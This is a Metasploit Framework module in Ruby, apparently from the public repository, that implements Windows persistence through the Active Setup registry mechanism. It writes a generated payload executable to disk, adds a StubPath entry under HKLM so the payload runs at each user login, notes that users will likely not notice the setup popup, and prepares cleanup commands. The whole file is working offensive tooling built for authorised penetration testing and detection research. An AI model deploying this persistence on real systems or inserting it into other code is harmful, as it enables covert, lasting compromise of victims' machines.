1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Local
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Powershell
10
  include Msf::Post::Windows::Registry
11
  include Msf::Post::File
12
  include Msf::Exploit::EXE
13
  include Msf::Exploit::Local::Persistence
14
  prepend Msf::Exploit::Remote::AutoCheck
15

16
  def initialize(info = {})
17
    super(
18
      update_info(
19
        info,
20
        'Name' => 'Windows Registry Active Setup Persistence',
21
        'Description' => %q{
22
          This module will register a payload to run via the Active Setup mechanism in Windows.
23
          Active Setup is a Windows feature that runs once per user at login.
24
          It triggers in a user context, losing privileges from admin to user.
25

26
          Active Setup will open a popup box with "Personalized Settings" and the text
27
          "Setting up personalized settings for: <SETUP_NAME>". However
28
          this won't occur until the login screen has exited (but before the desktop
29
          is loaded), and our execution is extremely fast so likely the user will not
30
          see it.
31
        },
32
        'License' => MSF_LICENSE,
33
        'Author' => [
34
          'h00die',
35
        ],
36
        'Platform' => [ 'win' ],
37
        'SessionTypes' => [ 'meterpreter' ],
38
        'Targets' => [
39
          [ 'Automatic', {} ]
40
        ],
41
        'References' => [
42
          ['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
43
          ['ATT&CK', Mitre::Attack::Technique::T1547_014_ACTIVE_SETUP],
44
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
45
          ['URL', 'https://hadess.io/the-art-of-windows-persistence/']
46
        ],
47
        'DefaultTarget' => 0,
48
        'DisclosureDate' => '2015-12-01',
49
        'Notes' => {
50
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
51
          'Stability' => [CRASH_SAFE],
52
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS, SCREEN_EFFECTS]
53
        }
54
      )
55
    )
56

57
    register_options([
58
      OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
59
      OptString.new('SETUP_NAME', [false, 'Name of the setup program.', 'Update']),
60
    ])
61
  end
62

63
  def regkey
64
    'HKLM\\Software\\Microsoft\\Active Setup\\Installed Components'
65
  end
66

67
  def writable_dir
68
    d = super
69
    return session.sys.config.getenv(d) if d.start_with?('%')
70

71
    d
72
  end
73

74
  def check
75
    return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell')
76

77
    vprint_good('Powershell detected on system')
78

79
    # test write to see if we have access
80
    rand = Rex::Text.rand_guid
81

82
    vprint_status("Checking registry write access to: #{regkey}\\#{rand}")
83
    return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{regkey}\\#{rand}") if registry_createkey("#{regkey}\\#{rand}").nil?
84

85
    registry_deletekey("#{regkey}\\#{rand}")
86

87
    Msf::Exploit::CheckCode::Vulnerable('Registry writable')
88
  end
89

90
  def install_persistence
91
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
92
    payload_name << '.exe' unless payload_name.downcase.end_with?('.exe')
93
    payload_exe = generate_payload_exe
94
    payload_pathname = writable_dir + '\\' + payload_name + '.exe'
95
    vprint_good("Writing payload to #{payload_pathname}")
96
    fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)
97

98
    rand = Rex::Text.rand_guid
99
    rand = Rex::Text.rand_guid while registry_key_exist?("#{regkey}\\#{rand}")
100

101
    print_status("Using installer guid: #{rand}")
102
    registry_createkey("#{regkey}\\#{rand}")
103
    registry_setvaldata("#{regkey}\\#{rand}", 'StubPath', "cmd /c start \"\" \"#{payload_pathname}\"", 'REG_SZ')
104
    registry_setvaldata("#{regkey}\\#{rand}", '', datastore['SETUP_NAME'], 'REG_SZ')
105

106
    @clean_up_rc = %(execute -f cmd.exe -a "/c reg delete \\\"#{regkey}\\#{rand}\\\" /f" -H\n)
107
    @clean_up_rc << %(execute -f cmd.exe -a "/c reg delete \\\"#{regkey.sub('HKLM', 'HKCU')}\\#{rand}\\\" /f" -H\n)
108
    @clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"
109
  end
110
end
111

112